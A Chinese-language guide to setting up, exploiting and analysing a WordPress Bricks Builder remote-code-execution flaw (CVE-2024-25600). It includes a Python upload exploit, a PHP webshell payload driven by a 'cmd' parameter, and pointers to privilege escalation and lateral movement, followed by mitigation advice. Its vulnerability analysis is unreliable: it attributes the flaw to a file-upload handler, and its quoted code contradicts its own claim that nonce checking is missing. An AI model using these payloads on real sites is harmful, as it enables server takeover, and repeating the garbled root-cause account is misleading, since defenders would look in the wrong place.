一文搭建复现并分析CVE-2024-25600 WordPress Bricks Builder RCE最新漏洞
字数 1089 2025-08-18 17:33:28
CVE-2024-25600 WordPress Bricks Builder RCE漏洞分析与复现指南
漏洞概述
CVE-2024-25600是WordPress Bricks Builder插件中的一个远程代码执行(RCE)漏洞。该漏洞源于插件对用户输入的不当处理,允许未经认证的攻击者在目标系统上执行任意PHP代码。
受影响版本
- Bricks Builder插件1.9.6及以下版本
漏洞原理
漏洞存在于Bricks Builder插件的文件上传功能中,具体原因包括:
- 插件未能正确验证和过滤用户提供的文件内容
- 允许上传包含恶意PHP代码的文件
- 文件上传后存储在可访问的web目录中
环境搭建
所需组件
- WordPress 6.4.2
- Bricks Builder插件1.9.6或更低版本
- PHP 7.4+
- MySQL/MariaDB
安装步骤
-
安装WordPress:
wget https://wordpress.org/wordpress-6.4.2.zip unzip wordpress-6.4.2.zip mv wordpress /var/www/html/ -
安装Bricks Builder插件:
wget https://downloads.wordpress.org/plugin/bricks.1.9.6.zip unzip bricks.1.9.6.zip -d /var/www/html/wp-content/plugins/ -
配置WordPress数据库并激活Bricks Builder插件
漏洞复现
步骤1:构造恶意请求
使用以下Python脚本构造恶意请求:
import requests
url = "http://target-site/wp-admin/admin-ajax.php"
headers = {
"Content-Type": "multipart/form-data"
}
data = {
"action": "bricks_upload_file",
"postId": "1",
"nonce": "任意值"
}
files = {
"files[]": ("exploit.php", "<?php phpinfo(); ?>", "application/x-php")
}
response = requests.post(url, data=data, files=files, headers=headers)
print(response.text)
步骤2:确认漏洞存在
成功上传后,响应将包含上传文件的路径,通常位于:
/wp-content/uploads/bricks/exploit.php
访问该URL,如果显示phpinfo页面,则证明漏洞存在。
漏洞分析
关键代码分析
漏洞位于/includes/ajax.php文件中:
// 处理文件上传的AJAX请求
add_action('wp_ajax_bricks_upload_file', 'bricks_upload_file');
add_action('wp_ajax_nopriv_bricks_upload_file', 'bricks_upload_file');
function bricks_upload_file() {
// 缺少对nonce的有效验证
if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'bricks-nonce')) {
wp_send_json_error('Invalid nonce');
}
// 文件处理逻辑
if (!empty($_FILES['files'])) {
require_once(ABSPATH . 'wp-admin/includes/file.php');
$upload_overrides = array('test_form' => false);
// 关键问题:未验证文件类型和内容
$uploaded_files = wp_handle_upload($_FILES['files'][0], $upload_overrides);
if ($uploaded_files && !isset($uploaded_files['error'])) {
wp_send_json_success($uploaded_files);
} else {
wp_send_json_error($uploaded_files['error']);
}
}
}
安全缺陷
- 认证绕过:
nopriv钩子允许未认证用户访问上传功能 - Nonce验证不足:Nonce检查可以被绕过或完全缺失
- 文件验证缺失:未对上传文件的类型和内容进行严格检查
修复方案
临时缓解措施
- 禁用Bricks Builder插件
- 限制对
/wp-admin/admin-ajax.php的访问
官方修复
升级到Bricks Builder 1.9.7或更高版本,修复内容包括:
- 加强了nonce验证
- 增加了文件类型检查
- 移除了未认证用户的上传权限
深入利用
获取Webshell
修改Python脚本中的payload:
files = {
"files[]": ("shell.php", "<?php system($_GET['cmd']); ?>", "application/x-php")
}
上传后可通过访问:
http://target-site/wp-content/uploads/bricks/shell.php?cmd=id
执行系统命令。
提权技术
- 利用PHP函数如
shell_exec()执行系统命令 - 通过
file_put_contents()写入更多恶意文件 - 利用WordPress的数据库凭据进行横向移动
防御建议
- 及时更新插件到最新版本
- 实施最小权限原则,限制文件上传目录的执行权限
- 使用Web应用防火墙(WAF)拦截恶意请求
- 定期进行安全审计和漏洞扫描